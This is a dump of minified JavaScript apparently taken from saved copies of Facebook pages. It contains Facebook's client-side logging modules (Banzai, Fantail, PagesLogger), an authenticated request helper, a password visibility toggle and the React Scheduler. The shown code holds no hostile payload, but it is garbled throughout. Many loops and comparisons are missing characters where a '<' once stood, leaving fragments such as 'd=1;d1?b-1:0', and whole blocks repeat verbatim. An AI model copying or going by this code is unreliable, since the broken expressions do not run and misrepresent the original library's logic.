k.indexOf==="function"&&k.indexOf(c)!=-1)))return;if(j&&b("lowerFacebookDomain").isValidDocumentDomain()){var l;try{l=a.top.require("Banzai")}catch(a){l=null}if(l){l.post.apply(l,arguments);return}}var m=y(c,d,b("performanceAbsoluteNow")(),h),n=m.__meta;e!=null&&e.callback!=null&&(n.callback=e.callback);e!=null&&e.compress!=null&&(n.compress=e.compress);if(e!=null&&e.signal!=null){n.status=o;var q=[{user:b("CurrentUser").getID(),page_id:b("pageID"),posts:[m],trigger:c}];i.send(q,function(){n.status=p,n.callback&&n.callback()},function(a){x(m,a)},!0);if(h==null)return}t.push(m);var r=(f=e==null?void 0:e.delay)!=null?f:g;(A(r)||u==null||u==="")&&(u=c);var s=b("BanzaiLazyQueue").flushQueue();s.forEach(function(a){return K.post.apply(K,a)})},registerToSendWithBeacon:function(a,c,d,e){if(!(navigator&&navigator.sendBeacon&&i.isOkToSendViaBeacon()))return!1;if(!a){b("FBLogger")("banzai").mustfix("Banzai.registerToSendWithBeacon called without specifying a route");return!1}v.push({cb:c,route:a,onSuccess:d,onFailure:e});return!0},flush:function(a,c){b("SetIdleTimeoutAcrossTransitions").clear(r),C(a,c)},subscribe:i.subscribe,canUseNavigatorBeacon:function(){return navigator&&navigator.sendBeacon?i.isOkToSendViaBeacon():!1},_schedule:A,_store:function(a){J(),b("ErrorUtils").applyWithGuard(F.store,F)},_restore:function(a){J();b("ErrorUtils").applyWithGuard(F.restore,F);A((a=i.config.RESTORE_WAIT)!=null?a:h)},_testState:function(){return{postBuffer:t,triggerRoute:u}},_unload:function(){b("BanzaiStreamPayloads").unload(K.post),navigator&&navigator.sendBeacon&&i.isOkToSendViaBeacon()&&z(),i.cleanup(),i.inform(K.SHUTDOWN),t.length>0&&((!i.useBeacon||!D())&&(J(),b("ErrorUtils").applyWithGuard(F.store,F)))},_initialize:function(){b("ExecutionEnvironment").canUseDOM&&(i.useBeacon&&b("Visibility").isSupported()?(b("Visibility").addListener(b("Visibility").HIDDEN,function(){t.length>0&&(D()||(J(),b("ErrorUtils").applyWithGuard(F.store,F)))}),(K.isEnabled("enable_client_logging_clear_on_visible")||K.isEnabled("error_impact_test"))&&b("Visibility").addListener(b("Visibility").VISIBLE,function(){D()||b("ErrorUtils").applyWithGuard(F.restore,F)})):i.setHooks(K),i.setUnloadHook(K),b("NavigationMetrics").addListener(b("NavigationMetrics").Events.NAVIGATION_DONE,function(a,c){if(c.pageType!=="normal")return;K._restore();b("NavigationMetrics").removeCurrentListener()}))}};K._initialize();e.exports=K}),null); 10 | __d("SimpleFBAuthenticatedXHRRequest",["invariant","CurrentUser","DTSG","DTSGUtils","ServerJSDefine","SprinkleConfig","XHRRequest","isFacebookURI"],(function(a,b,c,d,e,f,g){__p&&__p();var h=1;a=function(a){"use strict";__p&&__p();babelHelpers.inheritsLoose(c,a);function c(c,d){c=a.call(this,c)||this;var e={__dyn:b("ServerJSDefine").getLoadedModuleHash(),__req:(h++).toString(36),__ajax__:1,__a:1,__user:b("CurrentUser").getID()};a.prototype.setData.call(babelHelpers.assertThisInitialized(c),babelHelpers["extends"]({},d,e));return c}var d=c.prototype;d.send=function(){__p&&__p();var c=this;if(!b("isFacebookURI")(this.getURI()))return a.prototype.send.call(this);if(b("DTSG").getCachedToken){var d=b("DTSG").getCachedToken();if(d)return this.sendOnDTSGToken(d);else{b("DTSG").getToken().done(function(a){return c.sendOnDTSGToken(a)});return this}}else this.sendOnDTSGToken(b("DTSG").getToken())};d.sendOnDTSGToken=function(c){if(c){a.prototype.setData.call(this,babelHelpers["extends"]({},this.getData(),{fb_dtsg:c}));if(b("SprinkleConfig").param_name){var d;a.prototype.setData.call(this,babelHelpers["extends"]({},this.getData(),(d={},d[b("SprinkleConfig").param_name]=b("DTSGUtils").getNumericValue(c),d)))}}return a.prototype.send.call(this)};d.setData=function(a){g(0,5518)};c.parseResponse=function(a){return JSON.parse(a.substr(9))};c.getPayload=function(a){a=c.parseResponse(a).payload;return a.payload?a.payload:a};return c}(b("XHRRequest"));e.exports=a}),null); 11 | __d("FantailLogQueue",["ChannelClientID","CircularBuffer","PHPQuerySerializer","SimpleFBAuthenticatedXHRRequest","XFantailLogController","destroyOnUnload","setIntervalAcrossTransitions","sprintf"],(function(a,b,c,d,e,f){__p&&__p();var g={DEBUG:"debug",INFO:"info",WARN:"warn",ERROR:"error"};a=function(){"use strict";__p&&__p();function a(a){this.$2=a,this.$3=new(b("CircularBuffer"))(200),b("setIntervalAcrossTransitions")(this.$4.bind(this),30*1e3),b("destroyOnUnload")(this.$4.bind(this))}a.get=function(b){a.$1=a.$1||{};a.$1[b]=a.$1[b]||new a(b);return a.$1[b]};var c=a.prototype;c.debug=function(a){for(var b=arguments.length,c=new Array(b>1?b-1:0),d=1;d1?b-1:0),d=1;d1?b-1:0),d=1;d1?b-1:0),d=1;d2?d-2:0),f=2;f0){var c={log_time:[],log:[],severity:[],device_id:[]};a.forEach(function(a){c.log_time.push(a.log_time),c.log.push(a.log),c.severity.push(a.severity),c.device_id.push(a.device_id)});this.$3.clear();a=b("XFantailLogController").getURIBuilder().setString("service",this.$2).getURI();new(b("SimpleFBAuthenticatedXHRRequest"))(a,c).setMethod("POST").setDataSerializer(b("PHPQuerySerializer").serialize).setRequestHeader("Content-Type","application/x-www-form-urlencoded").send()}};return a}();e.exports=a}),null); 12 | __d("PagesLogger",["PagesLoggerEventEnum","PagesTypedLogger"],(function(a,b,c,d,e,f){__p&&__p();var g="extra_data_";a={log:function(a,c,d,e,f,h){e===void 0&&(e=null);f===void 0&&(f=[]);var i={},j=h||{};Object.keys(j||{}).forEach(function(a){var b=j[a];(b instanceof Array||b instanceof Object)&&(b=JSON.stringify(b));i[g+a]=b});new(b("PagesTypedLogger"))().setPageID(a).setEvent(c).setEventTarget(d).setEventLocation(e).setLogSource("pages_logger").setTags(f).updateExtraData(i).log()},registerLogOnClick:function(a,c,d,e,f,g){var h=this;e===void 0&&(e=null);f===void 0&&(f=[]);g===void 0&&(g={});a.addEventListener("click",function(){h.log(c,b("PagesLoggerEventEnum").CLICK,d,e,f,g)})}};e.exports=a}),null); -------------------------------------------------------------------------------- /facebook/mobile_files/BeABftOMOi3.js: -------------------------------------------------------------------------------- 1 | if (self.CavalryLogger) { CavalryLogger.start_js(["OeKOJ"]); } 2 | 3 | __d("PagesLoggerEventEnum",[],(function(a,b,c,d,e,f){e.exports={CLICK:"click",CREATE:"create",DELETE:"delete",DRAG:"drag",HOVER:"hover",IMPRESSION:"impression",RECEIVE_REQUEST:"receive_request",RECEIVE_RESPONSE:"receive_response",SAVE:"save",SCROLL:"scroll",SEND_REQUEST:"send_request",SEND_RESPONSE:"send_response",UNSAVE:"unsave",UPDATE:"update"}}),null); 4 | __d("PagesTypedLogger",["Banzai","GeneratedLoggerUtils","nullthrows"],(function(a,b,c,d,e,f){"use strict";__p&&__p();a=function(){__p&&__p();function a(){this.$1={}}var c=a.prototype;c.log=function(){b("GeneratedLoggerUtils").log("logger:PagesLoggerConfig",this.$1,b("Banzai").BASIC)};c.logVital=function(){b("GeneratedLoggerUtils").log("logger:PagesLoggerConfig",this.$1,b("Banzai").VITAL)};c.logImmediately=function(){b("GeneratedLoggerUtils").log("logger:PagesLoggerConfig",this.$1,{signal:!0})};c.clear=function(){this.$1={};return this};c.getData=function(){return babelHelpers["extends"]({},this.$1)};c.updateData=function(a){this.$1=babelHelpers["extends"]({},this.$1,a);return this};c.setConnectionClass=function(a){this.$1.connection_class=a;return this};c.setEvent=function(a){this.$1.event=a;return this};c.setEventLocation=function(a){this.$1.event_location=a;return this};c.setEventTarget=function(a){this.$1.event_target=a;return this};c.setLogSource=function(a){this.$1.log_source=a;return this};c.setPageID=function(a){this.$1.page_id=a;return this};c.setRawClientTime=function(a){this.$1.raw_client_time=a;return this};c.setSessionid=function(a){this.$1.sessionid=a;return this};c.setTags=function(a){this.$1.tags=b("GeneratedLoggerUtils").serializeVector(a);return this};c.setTime=function(a){this.$1.time=a;return this};c.setWeight=function(a){this.$1.weight=a;return this};c.updateExtraData=function(a){a=b("nullthrows")(b("GeneratedLoggerUtils").serializeMap(a));b("GeneratedLoggerUtils").checkExtraDataFieldNames(a,g);this.$1=babelHelpers["extends"]({},this.$1,a);return this};c.addToExtraData=function(a,b){var c={};c[a]=b;return this.updateExtraData(c)};return a}();var g={connection_class:!0,event:!0,event_location:!0,event_target:!0,log_source:!0,page_id:!0,raw_client_time:!0,sessionid:!0,tags:!0,time:!0,weight:!0};e.exports=a}),null); 5 | __d("MPasswordPlainTextToggleSigils",[],(function(a,b,c,d,e,f){e.exports=Object.freeze({INPUT:"password-plain-text-toggle-input",TOGGLE:"password-plain-text-toggle"})}),null); 6 | __d("MPasswordPlainTextToggle",["invariant","CSS","KaiOSSpatialNavEvents","MPasswordPlainTextToggleSigils","Stratcom"],(function(a,b,c,d,e,f,g){"use strict";a={init:function(a,c,d,e){d!==null&&e!==null||g(0,4607),b("Stratcom").listen("click",b("MPasswordPlainTextToggleSigils").TOGGLE,function(c){a.type=="password"?(a.type="text",b("CSS").hide(d),b("CSS").show(e)):(a.type="password",b("CSS").hide(e),b("CSS").show(d)),c.kill()}),b("Stratcom").listen(["m:passwordinput:autoclear","input"],b("MPasswordPlainTextToggleSigils").INPUT,function(d){a.value==""?b("CSS").hide(c):b("CSS").show(c),b("Stratcom").invoke(b("KaiOSSpatialNavEvents").REFRESH,null,null)})}};e.exports=a}),null); 7 | __d("MUFISocialSentence",["cx","fbt","Bootloader","CSS","DOM","MLiveData","Stratcom","SubscriptionsHandler"],(function(a,b,c,d,e,f,g,h){__p&&__p();a=function(){"use strict";__p&&__p();function a(a,c,d,e,f,g){__p&&__p();if(!g&&!d)return;this.$1=a;this.$2=b("MLiveData").get(c);this.$3=e;this.$4=f;this.$5=g;this.$6=d;this.$7=new(b("SubscriptionsHandler"))();this.$7.addSubscriptions(this.$2.listen("change",this.onChange.bind(this)),b("Stratcom").listen("m:page:unload",null,this.onUnload.bind(this)))}var c=a.prototype;c.onChange=function(){__p&&__p();var a=this.$2.getData();if(a.request_id===this.$4)return;b("CSS").removeClass(this.$1,"like_opt");var c=this.$5&&a.like_count?a[this.$3][0]:null,d=this.$6&&a.comment_count?a.comment_count:null;if(c&&c.text){this.$8={text:c,ftid:a.ft_ent_identifier};c=c.text;this.$6||b("Bootloader").loadModules(["MReactComponentRenderer","MUFISocialSentenceTextWithEntities.react"],function(a,b){a(b,this.$1,this.$8)}.bind(this),"MUFISocialSentence");return}if(c){var e=this.$3!=="like_counts"&&!a.like_fallback&&d?"div":"span";c=b("DOM").create(e,null,c);b("CSS").addClass(c,"_28wy")}d&&(d=d>1?h._({"*":"{count} comments"},[h._param("count",d,[0])]):h._({"*":"{count} comment"},[h._param("count",d,[0])]),d=b("DOM").create("span",{},d),b("CSS").addClass(d,"_28wy"));b("DOM").setContent(this.$1,[c,d]);this.$9(a)};c.$9=function(a){var c=this.$5&&(a.like_count||a.reactioncount);a=this.$6&&a.comment_count;b("CSS").conditionShow(this.$1,!!(c||a))};c.onUnload=function(){this.$7.release(),this.$7=null};return a}();e.exports=a}),null); 8 | __d("XFantailLogController",["XController"],(function(a,b,c,d,e,f){e.exports=b("XController").create("/ajax/fantail/",{service:{type:"String",required:!0}})}),null); 9 | __d("BanzaiOld",["BanzaiAdapter","NavigationMetrics","BanzaiConsts","BanzaiLazyQueue","BanzaiStreamPayloads","CurrentUser","ErrorUtils","ExecutionEnvironment","FBJSON","FBLogger","SetIdleTimeoutAcrossTransitions","TimeSlice","Visibility","WebStorage","emptyFunction","isInIframe","lowerFacebookDomain","pageID","performanceAbsoluteNow","WebStorageMutex"],(function(a,b,c,d,e,f){__p&&__p();var g=6e4,h=1e3,i=b("BanzaiAdapter"),j=b("isInIframe")(),k="bz:",l="ods:banzai",m="send_via_beacon_failure",n=0,o=1,p=2,q=null,r,s,t=[],u=null,v=[];function w(a){return a[2]>=b("performanceAbsoluteNow")()-((a=i.config.EXPIRY)!=null?a:K.EXPIRY)}function x(a,b){var c=a.__meta;c.status=n;a[3]=(a[3]||0)+1;c.retry===!1&&b>=400&&b<600&&t.push(a)}function y(a,c,d,e){a=[a,c,d,0];a.__meta={retry:e===!0,pageID:b("pageID"),userID:b("CurrentUser").getID(),status:n};return a}function z(){__p&&__p();var a=[];v.forEach(function(c){var d=c.cb();d.forEach(function(d){var e=c.route;if(e!=null||e!=""){e=y(e,d,b("performanceAbsoluteNow")());e.__meta.onSuccess=c.onSuccess;e.__meta.onFailure=c.onFailure;a.push(e)}})});v=[];var c=[],d=[];E(c,d,!0,a);if(c.length>0){c[0].send_method="beacon";c.map(i.prepWadForTransit);c=new Blob([i.addRequestAuthData(i.prepForTransit(c))],{type:"application/x-www-form-urlencoded"});c=navigator.sendBeacon(K.adapter.endpoint,c);c?d.forEach(function(a){a=a.__meta;a!=null&&a.onSuccess!=null&&a.onSuccess()}):d.forEach(function(a){a=a.__meta;a!=null&&a.onFailure!=null&&a.onFailure()})}}function A(a){__p&&__p();var c=b("performanceAbsoluteNow")()+a;if(s==null||c=p||!w(d))return!1;if(f.status>=o)return!0;var g=f.compress!=null?f.compress:!0,h=f.pageID+f.userID+(g?"compress":""),i=e[h];i||(i={user:f.userID,page_id:f.pageID,posts:[],snappy:g},e[h]=i,a.push(i));f.status=o;i.posts.push(d);b.push(d);return c&&!!f.retry})}var F,G,H=!1;function I(){H||(H=!0,G=b("WebStorage").getLocalStorage());return G}function J(){__p&&__p();F||(!j?F={store:function(){var a=I();if(a==null||t.length<=0)return;var c=t.map(function(a){return[a[0],a[1],a[2],a[3]||0,a.__meta]});t=[];b("WebStorage").setItemGuarded(a,k+b("pageID")+"."+b("performanceAbsoluteNow")(),b("FBJSON").stringify(c))},restore:function(){__p&&__p();var a=I();if(!a)return;var c=b("WebStorageMutex");new c("banzai").lock(function(c){__p&&__p();var d=[];for(var e=0;e=b("BanzaiConsts").STORAGE_FLUSH_INTERVAL;c&&K._restore(!1);(c||!q)&&(q=b("performanceAbsoluteNow")(),b("WebStorage").setItemGuarded(a,b("BanzaiConsts").LAST_STORAGE_FLUSH,q.toString()))}}}:F={store:b("emptyFunction"),restore:b("emptyFunction"),flush:b("emptyFunction")})}var K={adapter:i,SEND:"Banzai:SEND",OK:"Banzai:OK",ERROR:"Banzai:ERROR",SHUTDOWN:"Banzai:SHUTDOWN",VITAL_WAIT:h,BASIC_WAIT:g,EXPIRY:30*6e4,VITAL:{delay:(c=b("BanzaiAdapter").config.MIN_WAIT)!=null?c:h},BASIC:{delay:(d=b("BanzaiAdapter").config.MAX_WAIT)!=null?d:g},isEnabled:function(a){return!!(i.config.gks&&i.config.gks[a])},post:function(c,d,e){__p&&__p();var f;(c==null||c==="")&&b("FBLogger")("banzai").mustfix("Banzai.post called without specifying a route");var h=e==null?void 0:e.retry;if(i.config.disabled===!0)return;if(!b("ExecutionEnvironment").canUseDOM)return;var k=i.config.blacklist;if(k&&(k.indexOf&&(typeof k.indexOf==="function"&&k.indexOf(c)!=-1)))return;if(j&&b("lowerFacebookDomain").isValidDocumentDomain()){var l;try{l=a.top.require("Banzai")}catch(a){l=null}if(l){l.post.apply(l,arguments);return}}var m=y(c,d,b("performanceAbsoluteNow")(),h),n=m.__meta;e!=null&&e.callback!=null&&(n.callback=e.callback);e!=null&&e.compress!=null&&(n.compress=e.compress);if(e!=null&&e.signal!=null){n.status=o;var q=[{user:b("CurrentUser").getID(),page_id:b("pageID"),posts:[m],trigger:c}];i.send(q,function(){n.status=p,n.callback&&n.callback()},function(a){x(m,a)},!0);if(h==null)return}t.push(m);var r=(f=e==null?void 0:e.delay)!=null?f:g;(A(r)||u==null||u==="")&&(u=c);var s=b("BanzaiLazyQueue").flushQueue();s.forEach(function(a){return K.post.apply(K,a)})},registerToSendWithBeacon:function(a,c,d,e){if(!(navigator&&navigator.sendBeacon&&i.isOkToSendViaBeacon()))return!1;if(!a){b("FBLogger")("banzai").mustfix("Banzai.registerToSendWithBeacon called without specifying a route");return!1}v.push({cb:c,route:a,onSuccess:d,onFailure:e});return!0},flush:function(a,c){b("SetIdleTimeoutAcrossTransitions").clear(r),C(a,c)},subscribe:i.subscribe,canUseNavigatorBeacon:function(){return navigator&&navigator.sendBeacon?i.isOkToSendViaBeacon():!1},_schedule:A,_store:function(a){J(),b("ErrorUtils").applyWithGuard(F.store,F)},_restore:function(a){J();b("ErrorUtils").applyWithGuard(F.restore,F);A((a=i.config.RESTORE_WAIT)!=null?a:h)},_testState:function(){return{postBuffer:t,triggerRoute:u}},_unload:function(){b("BanzaiStreamPayloads").unload(K.post),navigator&&navigator.sendBeacon&&i.isOkToSendViaBeacon()&&z(),i.cleanup(),i.inform(K.SHUTDOWN),t.length>0&&((!i.useBeacon||!D())&&(J(),b("ErrorUtils").applyWithGuard(F.store,F)))},_initialize:function(){b("ExecutionEnvironment").canUseDOM&&(i.useBeacon&&b("Visibility").isSupported()?(b("Visibility").addListener(b("Visibility").HIDDEN,function(){t.length>0&&(D()||(J(),b("ErrorUtils").applyWithGuard(F.store,F)))}),(K.isEnabled("enable_client_logging_clear_on_visible")||K.isEnabled("error_impact_test"))&&b("Visibility").addListener(b("Visibility").VISIBLE,function(){D()||b("ErrorUtils").applyWithGuard(F.restore,F)})):i.setHooks(K),i.setUnloadHook(K),b("NavigationMetrics").addListener(b("NavigationMetrics").Events.NAVIGATION_DONE,function(a,c){if(c.pageType!=="normal")return;K._restore();b("NavigationMetrics").removeCurrentListener()}))}};K._initialize();e.exports=K}),null); 10 | __d("SimpleFBAuthenticatedXHRRequest",["invariant","CurrentUser","DTSG","DTSGUtils","ServerJSDefine","SprinkleConfig","XHRRequest","isFacebookURI"],(function(a,b,c,d,e,f,g){__p&&__p();var h=1;a=function(a){"use strict";__p&&__p();babelHelpers.inheritsLoose(c,a);function c(c,d){c=a.call(this,c)||this;var e={__dyn:b("ServerJSDefine").getLoadedModuleHash(),__req:(h++).toString(36),__ajax__:1,__a:1,__user:b("CurrentUser").getID()};a.prototype.setData.call(babelHelpers.assertThisInitialized(c),babelHelpers["extends"]({},d,e));return c}var d=c.prototype;d.send=function(){__p&&__p();var c=this;if(!b("isFacebookURI")(this.getURI()))return a.prototype.send.call(this);if(b("DTSG").getCachedToken){var d=b("DTSG").getCachedToken();if(d)return this.sendOnDTSGToken(d);else{b("DTSG").getToken().done(function(a){return c.sendOnDTSGToken(a)});return this}}else this.sendOnDTSGToken(b("DTSG").getToken())};d.sendOnDTSGToken=function(c){if(c){a.prototype.setData.call(this,babelHelpers["extends"]({},this.getData(),{fb_dtsg:c}));if(b("SprinkleConfig").param_name){var d;a.prototype.setData.call(this,babelHelpers["extends"]({},this.getData(),(d={},d[b("SprinkleConfig").param_name]=b("DTSGUtils").getNumericValue(c),d)))}}return a.prototype.send.call(this)};d.setData=function(a){g(0,5518)};c.parseResponse=function(a){return JSON.parse(a.substr(9))};c.getPayload=function(a){a=c.parseResponse(a).payload;return a.payload?a.payload:a};return c}(b("XHRRequest"));e.exports=a}),null); 11 | __d("FantailLogQueue",["ChannelClientID","CircularBuffer","PHPQuerySerializer","SimpleFBAuthenticatedXHRRequest","XFantailLogController","destroyOnUnload","setIntervalAcrossTransitions","sprintf"],(function(a,b,c,d,e,f){__p&&__p();var g={DEBUG:"debug",INFO:"info",WARN:"warn",ERROR:"error"};a=function(){"use strict";__p&&__p();function a(a){this.$2=a,this.$3=new(b("CircularBuffer"))(200),b("setIntervalAcrossTransitions")(this.$4.bind(this),30*1e3),b("destroyOnUnload")(this.$4.bind(this))}a.get=function(b){a.$1=a.$1||{};a.$1[b]=a.$1[b]||new a(b);return a.$1[b]};var c=a.prototype;c.debug=function(a){for(var b=arguments.length,c=new Array(b>1?b-1:0),d=1;d1?b-1:0),d=1;d1?b-1:0),d=1;d1?b-1:0),d=1;d2?d-2:0),f=2;f0){var c={log_time:[],log:[],severity:[],device_id:[]};a.forEach(function(a){c.log_time.push(a.log_time),c.log.push(a.log),c.severity.push(a.severity),c.device_id.push(a.device_id)});this.$3.clear();a=b("XFantailLogController").getURIBuilder().setString("service",this.$2).getURI();new(b("SimpleFBAuthenticatedXHRRequest"))(a,c).setMethod("POST").setDataSerializer(b("PHPQuerySerializer").serialize).setRequestHeader("Content-Type","application/x-www-form-urlencoded").send()}};return a}();e.exports=a}),null); 12 | __d("PagesLogger",["PagesLoggerEventEnum","PagesTypedLogger"],(function(a,b,c,d,e,f){__p&&__p();var g="extra_data_";a={log:function(a,c,d,e,f,h){e===void 0&&(e=null);f===void 0&&(f=[]);var i={},j=h||{};Object.keys(j||{}).forEach(function(a){var b=j[a];(b instanceof Array||b instanceof Object)&&(b=JSON.stringify(b));i[g+a]=b});new(b("PagesTypedLogger"))().setPageID(a).setEvent(c).setEventTarget(d).setEventLocation(e).setLogSource("pages_logger").setTags(f).updateExtraData(i).log()},registerLogOnClick:function(a,c,d,e,f,g){var h=this;e===void 0&&(e=null);f===void 0&&(f=[]);g===void 0&&(g={});a.addEventListener("click",function(){h.log(c,b("PagesLoggerEventEnum").CLICK,d,e,f,g)})}};e.exports=a}),null); -------------------------------------------------------------------------------- /fb/index_files/qFPB0xXT86s.js: -------------------------------------------------------------------------------- 1 | if (self.CavalryLogger) { CavalryLogger.start_js(["5WfoS"]); } 2 | 3 | __d("lowPriorityWarning",["warning"],(function(a,b,c,d,e,f){e.exports=b("warning")}),null); 4 | __d("warningBlue",["requireCond","cr:888909"],(function(a,b,c,d,e,f){function a(a,b){}e.exports=b("cr:888909")||a}),null); 5 | __d("ReactFiberErrorDialog",["LogHistory","requireCond","cr:895839"],(function(a,b,c,d,e,f){"use strict";function a(a){var c=a.error,d=b("LogHistory").getInstance("react_fiber_error_logger");d.error("capturedError",JSON.stringify({componentStack:a.componentStack,error:{name:c.name,message:c.message,stack:c.stack},errorBoundaryName:a.errorBoundaryName,willRetry:a.willRetry}));return b("cr:895839").showErrorDialog(a)}e.exports={showErrorDialog:a}}),null); 6 | __d("ReactFiberErrorDialogImpl",["FBLogger","requireCond","cr:895840"],(function(a,b,c,d,e,f){"use strict";var g=!1;function a(a){try{a.error.reactComponentStackForLogging=a.componentStack}catch(a){}b("FBLogger")("ReactFiber").catching(a.error).mustfix("ReactFiber reported an error");!g&&b("cr:895840")&&(g=!0,b("cr:895840").showReactErrorDialog(a));return!0}e.exports={showErrorDialog:a}}),null); 7 | __d("Scheduler-dev",[],(function(a,b,c,d,e,f){"use strict"}),null); 8 | __d("Scheduler-dev-stable",[],(function(a,b,c,d,e,f){"use strict"}),null); 9 | __d("Scheduler-prod",[],(function(a,b,c,d,e,f){"use strict";__p&&__p();Object.defineProperty(f,"__esModule",{value:!0});var g=void 0,h=void 0,i=void 0,j=void 0;f.unstable_now=void 0;f.unstable_forceFrameRate=void 0;var k=Date,l="function"===typeof setTimeout?setTimeout:void 0,m="function"===typeof clearTimeout?clearTimeout:void 0,n="function"===typeof requestAnimationFrame?requestAnimationFrame:void 0,o="function"===typeof cancelAnimationFrame?cancelAnimationFrame:void 0,p=void 0,q=void 0;function r(a){p=n(function(b){m(q),a(b)}),q=l(function(){o(p),a(f.unstable_now())},100)}if("object"===typeof performance&&"function"===typeof performance.now){var s=performance;f.unstable_now=function(){return s.now()}}else f.unstable_now=function(){return k.now()};if("undefined"===typeof window||"function"!==typeof MessageChannel){var t=null,u=null,v=function a(){if(null!==t)try{var b=f.unstable_now();t(!0,b);t=null}catch(b){throw setTimeout(a,0),b}};g=function(a){null!==t?setTimeout(g,0,a):(t=a,setTimeout(v,0))};h=function(a,b){u=setTimeout(a,b)};i=function(){clearTimeout(u)};j=function(){return!1};f.unstable_forceFrameRate=function(){}}else{"undefined"!==typeof console&&("function"!==typeof n&&!1,"function"!==typeof o&&!1);var w=null,x=!1,y=!1,z=-1,A=0,B=33,C=33,D=!1;j=function(){return A<=f.unstable_now()};f.unstable_forceFrameRate=function(a){0>a||125c&&(c=8),C=cd){c=e;if(null===H)H=a.next=a.previous=a;else{b=null;var j=H;do{if(ca||125=z-c)if(-1!==b&&b<=c)d=!0;else{x||(x=!0,q(E));u=a;w=b;return}if(null!==a){y=!0;try{a(d)}finally{y=!1}}};var E=function a(b){if(null!==u){q(a);var c=b-z+B;cc&&(c=8),B=cb?D.postMessage(void 0):x||(x=!0,q(E))};h=function(){u=null,v=!1,w=-1}}var F=null,G=!1,H=!1,I=3,J=-1,K=-1,L=!1,M=!1;function N(){if(!L&&null!==F){var a=F.expirationTime;M?h():M=!0;g(P,a)}}function O(){__p&&__p();var a=F,b=F.next;if(F===b)F=null;else{var c=F.previous;F=c.next=b;b.previous=c}a.next=a.previous=null;c=a.callback;b=a.expirationTime;a=a.priorityLevel;var d=I,e=K;I=a;K=b;try{var f=c(G||1===a)}catch(a){throw a}finally{I=d,K=e}if("function"===typeof f)if(f={callback:f,priorityLevel:a,expirationTime:b,next:null,previous:null},null===F)F=f.next=f.previous=f;else{c=null;a=F;do{if(a.expirationTime>=b){c=a;break}a=a.next}while(a!==F);null===c?c=F:c===F&&(F=f,N());b=c.previous;b.next=c.previous=f;f.next=c;f.previous=b}}function P(a){__p&&__p();if(!H){M=!1;L=!0;var b=G;G=a;try{if(a)for(;null!==F&&!H;){a=f.unstable_now();if(F.expirationTime<=a)do O();while(null!==F&&F.expirationTime<=a&&!H);else break}else if(null!==F)do{if(H)break;O()}while(null!==F&&!i())}finally{L=!1,G=b,N()}}}f.unstable_ImmediatePriority=1;f.unstable_UserBlockingPriority=2;f.unstable_NormalPriority=3;f.unstable_IdlePriority=5;f.unstable_LowPriority=4;f.unstable_runWithPriority=function(a,b){__p&&__p();switch(a){case 1:case 2:case 3:case 4:case 5:break;default:a=3}var c=I,d=J;I=a;J=f.unstable_now();try{return b()}catch(a){throw N(),a}finally{I=c,J=d}};f.unstable_next=function(a){__p&&__p();switch(I){case 1:case 2:case 3:var b=3;break;default:b=I}var c=I,d=J;I=b;J=f.unstable_now();try{return a()}catch(a){throw N(),a}finally{I=c,J=d}};f.unstable_scheduleCallback=function(a,b,c){__p&&__p();var d=-1!==J?J:f.unstable_now();if("object"===typeof c&&null!==c&&"number"===typeof c.timeout)c=d+c.timeout;else switch(a){case 1:c=d+-1;break;case 2:c=d+250;break;case 5:c=d+1073741823;break;case 4:c=d+1e4;break;default:c=d+5e3}a={callback:b,priorityLevel:a,expirationTime:c,next:null,previous:null};if(null===F)F=a.next=a.previous=a,N();else{b=null;d=F;do{if(d.expirationTime>c){b=d;break}d=d.next}while(d!==F);null===b?b=F:b===F&&(F=a,N());c=b.previous;c.next=b.previous=a;a.next=b;a.previous=c}return a};f.unstable_cancelCallback=function(a){__p&&__p();var b=a.next;if(null!==b){if(b===a)F=null;else{a===F&&(F=b);var c=a.previous;c.next=b;b.previous=c}a.next=a.previous=null}};f.unstable_wrapCallback=function(a){var b=I;return function(){var c=I,d=J;I=b;J=f.unstable_now();try{return a.apply(this,arguments)}catch(a){throw N(),a}finally{I=c,J=d}}};f.unstable_getCurrentPriorityLevel=function(){return I};f.unstable_shouldYield=function(){return!G&&(null!==F&&F.expirationTimea||125c&&(c=8),C=cd){c=e;if(null===H)H=a.next=a.previous=a;else{b=null;var j=H;do{if(ca||125=z-c)if(-1!==b&&b<=c)d=!0;else{x||(x=!0,q(E));u=a;w=b;return}if(null!==a){y=!0;try{a(d)}finally{y=!1}}};var E=function a(b){if(null!==u){q(a);var c=b-z+B;cc&&(c=8),B=cb?D.postMessage(void 0):x||(x=!0,q(E))};h=function(){u=null,v=!1,w=-1}}var F=null,G=!1,H=!1,I=3,J=-1,K=-1,L=!1,M=!1;function N(){if(!L&&null!==F){var a=F.expirationTime;M?h():M=!0;g(P,a)}}function O(){__p&&__p();var a=F,b=F.next;if(F===b)F=null;else{var c=F.previous;F=c.next=b;b.previous=c}a.next=a.previous=null;c=a.callback;b=a.expirationTime;a=a.priorityLevel;var d=I,e=K;I=a;K=b;try{var f=c(G||1===a)}catch(a){throw a}finally{I=d,K=e}if("function"===typeof f)if(f={callback:f,priorityLevel:a,expirationTime:b,next:null,previous:null},null===F)F=f.next=f.previous=f;else{c=null;a=F;do{if(a.expirationTime>=b){c=a;break}a=a.next}while(a!==F);null===c?c=F:c===F&&(F=f,N());b=c.previous;b.next=c.previous=f;f.next=c;f.previous=b}}function P(a){__p&&__p();if(!H){M=!1;L=!0;var b=G;G=a;try{if(a)for(;null!==F&&!H;){a=f.unstable_now();if(F.expirationTime<=a)do O();while(null!==F&&F.expirationTime<=a&&!H);else break}else if(null!==F)do{if(H)break;O()}while(null!==F&&!i())}finally{L=!1,G=b,N()}}}f.unstable_ImmediatePriority=1;f.unstable_UserBlockingPriority=2;f.unstable_NormalPriority=3;f.unstable_IdlePriority=5;f.unstable_LowPriority=4;f.unstable_runWithPriority=function(a,b){__p&&__p();switch(a){case 1:case 2:case 3:case 4:case 5:break;default:a=3}var c=I,d=J;I=a;J=f.unstable_now();try{return b()}catch(a){throw N(),a}finally{I=c,J=d}};f.unstable_next=function(a){__p&&__p();switch(I){case 1:case 2:case 3:var b=3;break;default:b=I}var c=I,d=J;I=b;J=f.unstable_now();try{return a()}catch(a){throw N(),a}finally{I=c,J=d}};f.unstable_scheduleCallback=function(a,b,c){__p&&__p();var d=-1!==J?J:f.unstable_now();if("object"===typeof c&&null!==c&&"number"===typeof c.timeout)c=d+c.timeout;else switch(a){case 1:c=d+-1;break;case 2:c=d+250;break;case 5:c=d+1073741823;break;case 